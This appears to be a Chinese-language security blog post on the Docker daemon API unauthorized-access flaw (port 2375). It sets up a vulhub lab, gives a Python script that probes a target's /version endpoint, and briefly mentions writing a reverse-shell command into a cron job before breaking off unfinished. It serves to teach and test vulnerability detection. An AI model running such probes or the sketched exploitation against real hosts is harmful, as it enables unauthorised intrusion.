docker daemon api 未授权访问漏洞
一. 漏洞描述Docker daemon api是使用url代替命令行来操作docker,docker swarm 是docker下的集群管理工具,在开放2375端口来监听集群容器时,会调用这个api,可以执行docker命令。二. 漏洞验证1.环境搭建使用vulhub的环境cd /vulhub-master/docker/unauthorized-rce执行docker-compose up -
·
目录
一. 漏洞描述
Docker daemon api是使用url代替命令行来操作docker,docker swarm 是docker下的集群管理工具,在开放2375端口来监听集群容器时,会调用这个api,可以执行docker命令。
二. 漏洞验证
1.环境搭建
使用vulhub的环境
cd /vulhub-master/docker/unauthorized-rce
执行docker-compose up -d启动环境
2. 使用浏览器访问2375端口,通过url的方式调用API,返回{"message":"page not found"}代表存在漏洞,如下
3. 可以使用/version、/info可以查看其他信息
poc
import requests
import argparse
from requests.packages import urllib3
urllib3.disable_warnings()
from colorama import init
init(autoreset=True)
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
def url():
des="docker daemon api 未授权访问漏洞POC"
parser = argparse.ArgumentParser(description=des)
parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153')
args = parser.parse_args()
target_url = args.target_url
print("docker daemon api 未授权访问漏洞POC")
print("[-]正在执行检测...")
print(f"[-]目标地址:{target_url}",)
return target_url
def check(target_url):
url = target_url + '/version'
try:
response = requests.get(url=url,headers=headers,timeout=5,verify=False)
if response.status_code==200 and 'Platform' in response.text and 'KernelVersion' in response.text:
print('\033[0;31m[+]存在docker daemon api 未授权访问漏洞\033[0m')
print(response.text)
else:
print('漏洞不存在')
except:
print('漏洞不存在')
if __name__ == '__main__':
target_url = url()
check(target_url)
三. 漏洞利用
可以利用此漏洞将反弹shell的命令写入计划任务从而执行反弹shell
未完...
更多推荐
所有评论(0)